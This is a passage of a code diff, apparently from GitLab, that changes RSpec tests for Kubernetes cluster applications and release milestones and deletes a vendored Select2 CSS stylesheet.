end
describe '#can_uninstall?' do
context "with other existing applications" do
Clusters::Cluster::APPLICATIONS.keys.each do |application_name|
next if application_name == 'helm'
subject(:application) { build(:clusters_applications_helm).can_uninstall? }
it "is false when #{application_name} is installed" do
cluster_application = create("clusters_applications_#{application_name}".to_sym)
helm = cluster_application.cluster.application_helm
expect(helm.allowed_to_uninstall?).to be_falsy
end
end
it 'executes a single query only' do
cluster_application = create(:clusters_applications_ingress)
helm = cluster_application.cluster.application_helm
query_count = ActiveRecord::QueryRecorder.new { helm.allowed_to_uninstall? }.count
expect(query_count).to eq(1)
end
end
context "without other existing applications" do
subject { helm.can_uninstall? }
let(:helm) { create(:clusters_applications_helm) }
it { is_expected.to be_truthy }
end
it { is_expected.to eq true }
end
describe '#issue_client_cert' do
@ -135,14 +109,4 @@ RSpec.describe Clusters::Applications::Helm do
end
end
end
describe '#post_uninstall' do
let(:helm) { create(:clusters_applications_helm, :installed) }
it do
expect(helm.cluster.kubeclient).to receive(:delete_namespace).with('gitlab-managed-apps')
helm.post_uninstall
end
end
end

View file

@ -7,7 +7,7 @@ RSpec.describe Clusters::Applications::CreateService do
let(:cluster) { create(:cluster, :project, :provided_by_gcp) }
let(:user) { create(:user) }
let(:params) { { application: 'helm' } }
let(:params) { { application: 'ingress' } }
let(:service) { described_class.new(cluster, user, params) }
describe '#execute' do
@ -23,16 +23,16 @@ RSpec.describe Clusters::Applications::CreateService do
subject
cluster.reload
end.to change(cluster, :application_helm)
end.to change(cluster, :application_ingress)
end
context 'application already installed' do
let!(:application) { create(:clusters_applications_helm, :installed, cluster: cluster) }
let!(:application) { create(:clusters_applications_ingress, :installed, cluster: cluster) }
it 'does not create a new application' do
expect do
subject
end.not_to change(Clusters::Applications::Helm, :count)
end.not_to change(Clusters::Applications::Ingress, :count)
end
it 'schedules an upgrade for the application' do
@ -43,10 +43,6 @@ RSpec.describe Clusters::Applications::CreateService do
end
context 'known applications' do
before do
create(:clusters_applications_helm, :installed, cluster: cluster)
end
context 'ingress application' do
let(:params) do
{
@ -215,19 +211,17 @@ RSpec.describe Clusters::Applications::CreateService do
using RSpec::Parameterized::TableSyntax
where(:application, :association, :allowed, :pre_create_helm, :pre_create_ingress) do
'helm' | :application_helm | true | false | false
'ingress' | :application_ingress | true | true | false
'runner' | :application_runner | true | true | false
'prometheus' | :application_prometheus | true | true | false
'jupyter' | :application_jupyter | true | true | true
where(:application, :association, :allowed, :pre_create_ingress) do
'ingress' | :application_ingress | true | false
'runner' | :application_runner | true | false
'prometheus' | :application_prometheus | true | false
'jupyter' | :application_jupyter | true | true
end
with_them do
before do
klass = "Clusters::Applications::#{application.titleize}"
allow_any_instance_of(klass.constantize).to receive(:make_scheduled!).and_call_original
create(:clusters_applications_helm, :installed, cluster: cluster) if pre_create_helm
create(:clusters_applications_ingress, :installed, cluster: cluster, external_hostname: 'example.com') if pre_create_ingress
end
@ -252,7 +246,7 @@ RSpec.describe Clusters::Applications::CreateService do
it 'makes the application scheduled' do
expect do
subject
end.to change { Clusters::Applications::Helm.with_status(:scheduled).count }.by(1)
end.to change { Clusters::Applications::Ingress.with_status(:scheduled).count }.by(1)
end
it 'schedules an install via worker' do
@ -266,7 +260,7 @@ RSpec.describe Clusters::Applications::CreateService do
end
context 'when application is associated with a cluster' do
let(:application) { create(:clusters_applications_helm, :installable, cluster: cluster) }
let(:application) { create(:clusters_applications_ingress, :installable, cluster: cluster) }
let(:worker_arguments) { [application.name, application.id] }
it_behaves_like 'installable applications'
@ -280,7 +274,7 @@ RSpec.describe Clusters::Applications::CreateService do
end
context 'when installation is already in progress' do
let!(:application) { create(:clusters_applications_helm, :installing, cluster: cluster) }
let!(:application) { create(:clusters_applications_ingress, :installing, cluster: cluster) }
it 'raises an exception' do
expect { subject }
@ -295,7 +289,7 @@ RSpec.describe Clusters::Applications::CreateService do
context 'when application is installed' do
%i(installed updated).each do |status|
let(:application) { create(:clusters_applications_helm, status, cluster: cluster) }
let(:application) { create(:clusters_applications_ingress, status, cluster: cluster) }
it 'schedules an upgrade via worker' do
expect(ClusterUpgradeAppWorker)

View file

@ -67,7 +67,8 @@ RSpec.describe Clusters::Cleanup::AppService do
it 'only uninstalls apps that are not dependencies for other installed apps' do
expect(Clusters::Applications::UninstallWorker)
.not_to receive(:perform_async).with(helm.name, helm.id)
.to receive(:perform_async).with(helm.name, helm.id)
.and_call_original
expect(Clusters::Applications::UninstallWorker)
.not_to receive(:perform_async).with(ingress.name, ingress.id)
@ -85,7 +86,7 @@ RSpec.describe Clusters::Cleanup::AppService do
it 'logs application uninstalls and next execution' do
expect(logger).to receive(:info)
.with(log_meta.merge(event: :uninstalling_app, application: kind_of(String))).twice
.with(log_meta.merge(event: :uninstalling_app, application: kind_of(String))).exactly(3).times
expect(logger).to receive(:info)
.with(log_meta.merge(event: :scheduling_execution, next_execution: 1))

View file

@ -167,28 +167,47 @@ RSpec.describe Releases::CreateService do
end
end
context 'when no milestone is passed in' do
it 'creates a release without a milestone tied to it' do
expect(params.key?(:milestones)).to be_falsey
context 'no milestone association behavior' do
let(:title_1) { 'v1.0' }
let(:title_2) { 'v1.0-rc' }
let!(:milestone_1) { create(:milestone, :active, project: project, title: title_1) }
let!(:milestone_2) { create(:milestone, :active, project: project, title: title_2) }
service.execute
release = project.releases.last
context 'when no milestones parameter is passed' do
it 'creates a release without a milestone tied to it' do
expect(service.param_for_milestone_titles_provided?).to be_falsey
expect(release.milestones).to be_empty
service.execute
release = project.releases.last
expect(release.milestones).to be_empty
end
it 'does not create any new MilestoneRelease object' do
expect { service.execute }.not_to change { MilestoneRelease.count }
end
end
it 'does not create any new MilestoneRelease object' do
expect { service.execute }.not_to change { MilestoneRelease.count }
context 'when an empty array is passed as the milestones parameter' do
it 'creates a release without a milestone tied to it' do
service = described_class.new(project, user, params.merge!({ milestones: [] }))
service.execute
release = project.releases.last
expect(release.milestones).to be_empty
end
end
end
context 'when an empty value is passed as a milestone' do
it 'creates a release without a milestone tied to it' do
service = described_class.new(project, user, params.merge!({ milestones: [] }))
service.execute
release = project.releases.last
context 'when nil is passed as the milestones parameter' do
it 'creates a release without a milestone tied to it' do
expect(service.param_for_milestone_titles_provided?).to be_falsey
expect(release.milestones).to be_empty
service = described_class.new(project, user, params.merge!({ milestones: nil }))
service.execute
release = project.releases.last
expect(release.milestones).to be_empty
end
end
end
end

View file

@ -1,704 +0,0 @@
/*
Version: 3.5.2 Timestamp: Sat Nov 1 14:43:36 EDT 2014
*/
.select2-container {
margin: 0;
position: relative;
display: inline-block;
/* inline-block for ie7 */
zoom: 1;
*display: inline;
vertical-align: middle;
}
.select2-container,
.select2-drop,
.select2-search,
.select2-search input {
/*
Force border-box so that % widths fit the parent
container without overlap because of margin/padding.
More Info : http://www.quirksmode.org/css/box.html
*/
-webkit-box-sizing: border-box; /* webkit */
-moz-box-sizing: border-box; /* firefox */
box-sizing: border-box; /* css3 */
}
.select2-container .select2-choice {
display: block;
height: 26px;
padding: 0 0 0 8px;
overflow: hidden;
position: relative;
border: 1px solid #aaa;
white-space: nowrap;
line-height: 26px;
color: #444;
text-decoration: none;
border-radius: 4px;
background-clip: padding-box;
-webkit-touch-callout: none;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
background-color: #fff;
background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(0.5, #fff));
background-image: -webkit-linear-gradient(center bottom, #eee 0%, #fff 50%);
background-image: -moz-linear-gradient(center bottom, #eee 0%, #fff 50%);
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr = '#ffffff', endColorstr = '#eeeeee', GradientType = 0);
background-image: linear-gradient(to top, #eee 0%, #fff 50%);
}
html[dir="rtl"] .select2-container .select2-choice {
padding: 0 8px 0 0;
}
.select2-container.select2-drop-above .select2-choice {
border-bottom-color: #aaa;
border-radius: 0 0 4px 4px;
background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(0.9, #fff));
background-image: -webkit-linear-gradient(center bottom, #eee 0%, #fff 90%);
background-image: -moz-linear-gradient(center bottom, #eee 0%, #fff 90%);
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee', GradientType=0);
background-image: linear-gradient(to bottom, #eee 0%, #fff 90%);
}
.select2-container.select2-allowclear .select2-choice .select2-chosen {
margin-right: 42px;
}
.select2-container .select2-choice > .select2-chosen {
margin-right: 26px;
display: block;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
float: none;
width: auto;
}
html[dir="rtl"] .select2-container .select2-choice > .select2-chosen {
margin-left: 26px;
margin-right: 0;
}
.select2-container .select2-choice abbr {
display: none;
width: 12px;
height: 12px;
position: absolute;
right: 24px;
top: 8px;
font-size: 1px;
text-decoration: none;
border: 0;
background: url(image-path('select2.png')) right top no-repeat;
cursor: pointer;
outline: 0;
}
.select2-container.select2-allowclear .select2-choice abbr {
display: inline-block;
}
.select2-container .select2-choice abbr:hover {
background-position: right -11px;
cursor: pointer;
}
.select2-drop-mask {
border: 0;
margin: 0;
padding: 0;
position: fixed;
left: 0;
top: 0;
min-height: 100%;
min-width: 100%;
height: auto;
width: auto;
opacity: 0;
z-index: 9998;
/* styles required for IE to work */
background-color: #fff;
filter: alpha(opacity=0);
}
.select2-drop {
width: 100%;
margin-top: -1px;
position: absolute;
z-index: 9999;
top: 100%;
background: #fff;
color: #000;
border: 1px solid #aaa;
border-top: 0;
border-radius: 0 0 4px 4px;
-webkit-box-shadow: 0 4px 5px rgba(0, 0, 0, .15);
box-shadow: 0 4px 5px rgba(0, 0, 0, .15);
}
.select2-drop.select2-drop-above {
margin-top: 1px;
border-top: 1px solid #aaa;
border-bottom: 0;
border-radius: 4px 4px 0 0;
-webkit-box-shadow: 0 -4px 5px rgba(0, 0, 0, .15);
box-shadow: 0 -4px 5px rgba(0, 0, 0, .15);
}
.select2-drop-active {
border: 1px solid #5897fb;
border-top: none;
}
.select2-drop.select2-drop-above.select2-drop-active {
border-top: 1px solid #5897fb;
}
.select2-drop-auto-width {
border-top: 1px solid #aaa;
width: auto;
}
.select2-drop-auto-width .select2-search {
padding-top: 4px;
}
.select2-container .select2-choice .select2-arrow {
display: inline-block;
width: 18px;
height: 100%;
position: absolute;
right: 0;
top: 0;
border-left: 1px solid #aaa;
border-radius: 0 4px 4px 0;
background-clip: padding-box;
background: #ccc;
background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #ccc), color-stop(0.6, #eee));
background-image: -webkit-linear-gradient(center bottom, #ccc 0%, #eee 60%);
background-image: -moz-linear-gradient(center bottom, #ccc 0%, #eee 60%);
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr = '#eeeeee', endColorstr = '#cccccc', GradientType = 0);
background-image: linear-gradient(to top, #ccc 0%, #eee 60%);
}
html[dir="rtl"] .select2-container .select2-choice .select2-arrow {
left: 0;
right: auto;
border-left: none;
border-right: 1px solid #aaa;
border-radius: 4px 0 0 4px;
}
.select2-container .select2-choice .select2-arrow b {
display: block;
width: 100%;
height: 100%;
background: url(image-path('select2.png')) no-repeat 0 1px;
}
html[dir="rtl"] .select2-container .select2-choice .select2-arrow b {
background-position: 2px 1px;
}
.select2-search {
display: inline-block;
width: 100%;
min-height: 26px;
margin: 0;
padding-left: 4px;
padding-right: 4px;
position: relative;
z-index: 10000;
white-space: nowrap;
}
.select2-search input {
width: 100%;
height: auto !important;
min-height: 26px;
padding: 4px 20px 4px 5px;
margin: 0;
outline: 0;
font-family: sans-serif;
font-size: 1em;
border: 1px solid #aaa;
border-radius: 0;
-webkit-box-shadow: none;
box-shadow: none;
background: #fff url(image-path('select2.png')) no-repeat 100% -22px;
background: url(image-path('select2.png')) no-repeat 100% -22px, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee));
background: url(image-path('select2.png')) no-repeat 100% -22px, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%);
background: url(image-path('select2.png')) no-repeat 100% -22px, -moz-linear-gradient(center bottom, #fff 85%, #eee 99%);
background: url(image-path('select2.png')) no-repeat 100% -22px, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0;
}
html[dir="rtl"] .select2-search input {
padding: 4px 5px 4px 20px;
background: #fff url(image-path('select2.png')) no-repeat -37px -22px;
background: url(image-path('select2.png')) no-repeat -37px -22px, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee));
background: url(image-path('select2.png')) no-repeat -37px -22px, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%);
background: url(image-path('select2.png')) no-repeat -37px -22px, -moz-linear-gradient(center bottom, #fff 85%, #eee 99%);
background: url(image-path('select2.png')) no-repeat -37px -22px, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0;
}
.select2-drop.select2-drop-above .select2-search input {
margin-top: 4px;
}
.select2-search input.select2-active {
background: #fff url(image-path('select2-spinner.gif')) no-repeat 100%;
background: url(image-path('select2-spinner.gif')) no-repeat 100%, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee));
background: url(image-path('select2-spinner.gif')) no-repeat 100%, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%);
background: url(image-path('select2-spinner.gif')) no-repeat 100%, -moz-linear-gradient(center bottom, #fff 85%, #eee 99%);
background: url(image-path('select2-spinner.gif')) no-repeat 100%, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0;
}
.select2-container-active .select2-choice,
.select2-container-active .select2-choices {
border: 1px solid #5897fb;
outline: none;
-webkit-box-shadow: 0 0 5px rgba(0, 0, 0, .3);
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
}
.select2-dropdown-open .select2-choice {
border-bottom-color: transparent;
-webkit-box-shadow: 0 1px 0 #fff inset;
box-shadow: 0 1px 0 #fff inset;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
background-color: #eee;
background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #fff), color-stop(0.5, #eee));
background-image: -webkit-linear-gradient(center bottom, #fff 0%, #eee 50%);
background-image: -moz-linear-gradient(center bottom, #fff 0%, #eee 50%);
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0);
background-image: linear-gradient(to top, #fff 0%, #eee 50%);
}
.select2-dropdown-open.select2-drop-above .select2-choice,
.select2-dropdown-open.select2-drop-above .select2-choices {
border: 1px solid #5897fb;
border-top-color: transparent;
background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0, #fff), color-stop(0.5, #eee));
background-image: -webkit-linear-gradient(center top, #fff 0%, #eee 50%);
background-image: -moz-linear-gradient(center top, #fff 0%, #eee 50%);
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0);
background-image: linear-gradient(to bottom, #fff 0%, #eee 50%);
}
.select2-dropdown-open .select2-choice .select2-arrow {
background: transparent;
border-left: none;
filter: none;
}
html[dir="rtl"] .select2-dropdown-open .select2-choice .select2-arrow {
border-right: none;
}
.select2-dropdown-open .select2-choice .select2-arrow b {
background-position: -18px 1px;
}
html[dir="rtl"] .select2-dropdown-open .select2-choice .select2-arrow b {
background-position: -16px 1px;
}
.select2-hidden-accessible {
border: 0;
clip: rect(0 0 0 0);
height: 1px;
margin: -1px;
overflow: hidden;
padding: 0;
position: absolute;
width: 1px;
}
/* results */
.select2-results {
max-height: 200px;
padding: 0 0 0 4px;
margin: 4px 4px 4px 0;
position: relative;
overflow-x: hidden;
overflow-y: auto;
-webkit-tap-highlight-color: rgba(0, 0, 0, 0);
}
html[dir="rtl"] .select2-results {
padding: 0 4px 0 0;
margin: 4px 0 4px 4px;
}
.select2-results ul.select2-result-sub {
margin: 0;
padding-left: 0;
}
.select2-results li {
list-style: none;
display: list-item;
background-image: none;
}
.select2-results li.select2-result-with-children > .select2-result-label {
font-weight: bold;
}
.select2-results .select2-result-label {
padding: 3px 7px 4px;
margin: 0;
cursor: pointer;
min-height: 1em;
-webkit-touch-callout: none;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
.select2-results-dept-1 .select2-result-label { padding-left: 20px }
.select2-results-dept-2 .select2-result-label { padding-left: 40px }
.select2-results-dept-3 .select2-result-label { padding-left: 60px }
.select2-results-dept-4 .select2-result-label { padding-left: 80px }
.select2-results-dept-5 .select2-result-label { padding-left: 100px }
.select2-results-dept-6 .select2-result-label { padding-left: 110px }
.select2-results-dept-7 .select2-result-label { padding-left: 120px }
.select2-results .select2-highlighted {
background: #3875d7;
color: #fff;
}
.select2-results li em {
background: #feffde;
font-style: normal;
}
.select2-results .select2-highlighted em {
background: transparent;
}
.select2-results .select2-highlighted ul {
background: #fff;
color: #000;
}
.select2-results .select2-no-results,
.select2-results .select2-searching,
.select2-results .select2-ajax-error,
.select2-results .select2-selection-limit {
background: #f4f4f4;
display: list-item;
padding-left: 5px;
}
/*
disabled look for disabled choices in the results dropdown
*/
.select2-results .select2-disabled.select2-highlighted {
color: #666;
background: #f4f4f4;
display: list-item;
cursor: default;
}
.select2-results .select2-disabled {
background: #f4f4f4;
display: list-item;
cursor: default;
}
.select2-results .select2-selected {
display: none;
}
.select2-more-results.select2-active {
background: #f4f4f4 url(image-path('select2-spinner.gif')) no-repeat 100%;
}
.select2-results .select2-ajax-error {
background: rgba(255, 50, 50, .2);
}
.select2-more-results {
background: #f4f4f4;
display: list-item;
}
/* disabled styles */
.select2-container.select2-container-disabled .select2-choice {
background-color: #f4f4f4;
background-image: none;
border: 1px solid #ddd;
cursor: default;
}
.select2-container.select2-container-disabled .select2-choice .select2-arrow {
background-color: #f4f4f4;
background-image: none;
border-left: 0;
}
.select2-container.select2-container-disabled .select2-choice abbr {
display: none;
}
/* multiselect */
.select2-container-multi .select2-choices {
height: auto !important;
height: 1%;
margin: 0;
padding: 0 5px 0 0;
position: relative;
border: 1px solid #aaa;
cursor: text;
overflow: hidden;
background-color: #fff;
background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(1%, #eee), color-stop(15%, #fff));
background-image: -webkit-linear-gradient(top, #eee 1%, #fff 15%);
background-image: -moz-linear-gradient(top, #eee 1%, #fff 15%);
background-image: linear-gradient(to bottom, #eee 1%, #fff 15%);
}
html[dir="rtl"] .select2-container-multi .select2-choices {
padding: 0 0 0 5px;
}
.select2-locked {
padding: 3px 5px 3px 5px !important;
}
.select2-container-multi .select2-choices {
min-height: 26px;
}
.select2-container-multi.select2-container-active .select2-choices {
border: 1px solid #5897fb;
outline: none;
-webkit-box-shadow: 0 0 5px rgba(0, 0, 0, .3);
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
}
.select2-container-multi .select2-choices li {
float: left;
list-style: none;
}
html[dir="rtl"] .select2-container-multi .select2-choices li
{
float: right;
}
.select2-container-multi .select2-choices .select2-search-field {
margin: 0;
padding: 0;
white-space: nowrap;
}
.select2-container-multi .select2-choices .select2-search-field input {
padding: 5px;
margin: 1px 0;
font-family: sans-serif;
font-size: 100%;
color: #666;
outline: 0;
border: 0;
-webkit-box-shadow: none;
box-shadow: none;
background: transparent !important;
}
.select2-container-multi .select2-choices .select2-search-field input.select2-active {
background: #fff url(image-path('select2-spinner.gif')) no-repeat 100% !important;
}
.select2-default {
color: #999 !important;
}
.select2-container-multi .select2-choices .select2-search-choice {
padding: 3px 5px 3px 18px;
margin: 3px 0 3px 5px;
position: relative;
line-height: 13px;
color: #333;
cursor: default;
border: 1px solid #aaaaaa;
border-radius: 3px;
-webkit-box-shadow: 0 0 2px #fff inset, 0 1px 0 rgba(0, 0, 0, 0.05);
box-shadow: 0 0 2px #fff inset, 0 1px 0 rgba(0, 0, 0, 0.05);
background-clip: padding-box;
-webkit-touch-callout: none;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
background-color: #e4e4e4;
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#f4f4f4', GradientType=0);
background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(20%, #f4f4f4), color-stop(50%, #f0f0f0), color-stop(52%, #e8e8e8), color-stop(100%, #eee));
background-image: -webkit-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%);
background-image: -moz-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%);
background-image: linear-gradient(to bottom, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%);
}
html[dir="rtl"] .select2-container-multi .select2-choices .select2-search-choice
{
margin: 3px 5px 3px 0;
padding: 3px 18px 3px 5px;
}
.select2-container-multi .select2-choices .select2-search-choice .select2-chosen {
cursor: default;
}
.select2-container-multi .select2-choices .select2-search-choice-focus {
background: #d4d4d4;
}
.select2-search-choice-close {
display: block;
width: 12px;
height: 13px;
position: absolute;
right: 3px;
top: 4px;
font-size: 1px;
outline: none;
background: url(image-path('select2.png')) right top no-repeat;
}
html[dir="rtl"] .select2-search-choice-close {
right: auto;
left: 3px;
}
.select2-container-multi .select2-search-choice-close {
left: 3px;
}
html[dir="rtl"] .select2-container-multi .select2-search-choice-close {
left: auto;
right: 2px;
}
.select2-container-multi .select2-choices .select2-search-choice .select2-search-choice-close:hover {
background-position: right -11px;
}
.select2-container-multi .select2-choices .select2-search-choice-focus .select2-search-choice-close {
background-position: right -11px;
}
/* disabled styles */
.select2-container-multi.select2-container-disabled .select2-choices {
background-color: #f4f4f4;
background-image: none;
border: 1px solid #ddd;
cursor: default;
}
.select2-container-multi.select2-container-disabled .select2-choices .select2-search-choice {
padding: 3px 5px 3px 5px;
border: 1px solid #ddd;
background-image: none;
background-color: #f4f4f4;
}
.select2-container-multi.select2-container-disabled .select2-choices .select2-search-choice .select2-search-choice-close { display: none;
background: none;
}
/* end multiselect */
.select2-result-selectable .select2-match,
.select2-result-unselectable .select2-match {
text-decoration: underline;
}
.select2-offscreen, .select2-offscreen:focus {
clip: rect(0 0 0 0) !important;
width: 1px !important;
height: 1px !important;
border: 0 !important;
margin: 0 !important;
padding: 0 !important;
overflow: hidden !important;
position: absolute !important;
outline: 0 !important;
left: 0px !important;
top: 0px !important;
}
.select2-display-none {
display: none;
}
.select2-measure-scrollbar {
position: absolute;
top: -10000px;
left: -10000px;
width: 100px;
height: 100px;
overflow: scroll;
}
/* Retina-ize icons */
@media only screen and (-webkit-min-device-pixel-ratio: 1.5), only screen and (min-resolution: 2dppx) {
.select2-search input,
.select2-search-choice-close,
.select2-container .select2-choice abbr,
.select2-container .select2-choice .select2-arrow b {
background-image: url(image-path('select2x2.png')) !important;
background-repeat: no-repeat !important;
background-size: 60px 40px !important;
}
.select2-search input {
background-position: 100% -21px !important;
}
}